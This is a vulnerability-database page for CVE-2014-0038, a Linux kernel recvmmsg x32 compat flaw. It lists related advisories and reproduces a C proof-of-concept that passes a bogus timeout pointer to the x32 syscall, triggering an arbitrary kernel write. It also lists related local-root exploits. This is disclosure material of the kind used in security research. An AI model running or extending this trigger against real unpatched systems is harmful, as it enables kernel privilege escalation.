Lucene search
+L

Linux Kernel 3.4 < 3.13.2 - recvmmsg x32 compat (PoC)

🗓️ 31 Jan 2014 00:00:00Reported by Kees CookType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 68 Views

Linux Kernel recvmmsg x32 compat PoC exploi

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Linux kernel 3.4+ local root (CONFIG_X86_X32=y)
2 Feb 201400:00
–zdt
zdt
zdt
Linux kernel 3.4+ Arbitrary write with CONFIG_X86_X32
2 Feb 201400:00
–zdt
zdt
zdt
Linux Kernel 3.13.1 - 'Recvmmsg' Privilege Escalation (Metasploit)
12 Oct 201600:00
–zdt
githubexploit
GithubExploit
Exploit for Improper Input Validation in Linux Linux_Kernel
2 Feb 201412:34
–githubexploit
bdu_fstec
BDU FSTEC
Linux Privilege Escalation
5 Jul 201600:00
–bdu_fstec
circl
Circl
CVE-2014-0038
2 Feb 201400:00
–circl
cve
CVE
CVE-2014-0038
6 Feb 201422:00
–cve
cvelist
Cvelist
CVE-2014-0038
6 Feb 201422:00
–cvelist
debiancve
Debian CVE
CVE-2014-0038
6 Feb 201422:00
–debiancve
exploitdb
Exploit DB
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitrary Write (2)
2 Feb 201400:00
–exploitdb
Rows per page
/*
 * PoC trigger for the linux 3.4+ recvmmsg x32 compat bug, based on the manpage
 *
 * https://code.google.com/p/chromium/issues/detail?id=338594
 *
 * $ while true; do echo $RANDOM > /dev/udp/127.0.0.1/1234; sleep 0.25; done
 */

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

int
main(void)
{
#define VLEN 10
#define BUFSIZE 200
#define TIMEOUT 1
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char bufs[VLEN][BUFSIZE+1];
    struct timespec timeout;

    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(EXIT_FAILURE);
    }

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(1234);
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }

    memset(msgs, 0, sizeof(msgs));
    for (i = 0; i < VLEN; i++) {
        iovecs[i].iov_base         = bufs[i];
        iovecs[i].iov_len          = BUFSIZE;
        msgs[i].msg_hdr.msg_iov    = &iovecs[i];
        msgs[i].msg_hdr.msg_iovlen = 1;
    }

    timeout.tv_sec = TIMEOUT;
    timeout.tv_nsec = 0;

//    retval = recvmmsg(sockfd, msgs, VLEN, 0, &timeout);
//    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, &timeout);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)1ul);
    if (retval == -1) {
        perror("recvmmsg()");
        exit(EXIT_FAILURE);
    }

    printf("%d messages received\n", retval);
    for (i = 0; i < retval; i++) {
        bufs[i][msgs[i].msg_len] = 0;
        printf("%d %s", i+1, bufs[i]);
    }
    exit(EXIT_SUCCESS);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Dec 2016 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 26.9
EPSS0.35451
68